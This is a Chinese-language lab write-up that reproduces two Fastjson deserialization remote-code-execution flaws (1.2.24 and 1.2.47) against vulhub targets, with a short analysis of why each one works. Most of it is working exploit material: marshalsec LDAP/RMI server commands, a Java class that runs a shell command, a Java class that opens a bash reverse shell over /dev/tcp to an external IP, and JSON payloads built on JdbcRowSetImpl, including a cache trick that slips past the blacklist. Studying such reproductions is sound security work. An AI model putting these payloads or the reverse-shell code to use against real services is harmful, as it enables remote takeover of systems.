目录
1.2.24 RCE CVE-2017-18349
复现流程
原理分析
1.2.47 RCE CNVD-2019-22238
复现流程
原理分析
漏洞探测
1.2.24 RCE CVE-2017-18349
复现流程
用marshalsec启动LDAP/RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.132:8089/#LinuxTouch" 9473
LinuxTouch.java
public class LinuxTouch {public LinuxTouch(){try{Runtime.getRuntime().exec("touch /tmp/fast-success.txt");}catch(Exception e){e.printStackTrace();}}public static void main(String[] argv){LinuxTouch e = new LinuxTouch();}
}
效果是在靶机临时目录下创建一个success文件
payload:
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://124.222.136.33:9473/suibian","autoCommit":true}
}
发现python启动的http服务接收到字节码请求
再看靶机容器的/tmp下,成功创建success文件
原理分析
1、序列化字符准备类名、dataSourceName属性和autoCommit属性
2、JdbcRowSetImpl反序列化,调用JdbcRowSetImpl的setAutoCommit()
3、setAutoCommit()调用connect()
4、connect()调用lookup()连接到LDAP/RMI服务器
5、下载恶意代码到本地,执行,攻击发生
1.2.47 RCE CNVD-2019-22238
复现流程
vulhub启动靶场
用marshalsec启动LDAP/RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://124.222.136.33:8089/#LinuxRevers" 9473
用python启动HTTP服务,存放恶意字节码(LinuxRevers.class)
LinuxRevers.java
public class LinuxRevers {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/124.222.136.33/1337 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {}}
}
效果是反弹shell给1337端口
监听1337端口
payload:
{"a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"
},"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://124.222.136.33:9473/suibian", "autoCommit":true
}
}
发现marshalsec转发请求,python启动的http服务接收到字节码请求
1337端口成功反弹shell
原理分析
autoTypeSupport为true时,fastjson首先判断类是否在白名单内,命中则加载该类
接着判断类是否在黑名单内且TypeUtils.mappings中没有该类缓存,才抛出异常。
接着继续尝试在TypeUtils.mappings
中查找缓存的class
我们的利用方法就是先将恶意类加入到mappings中,以此绕过黑名单的检测,在利用恶意类进行攻击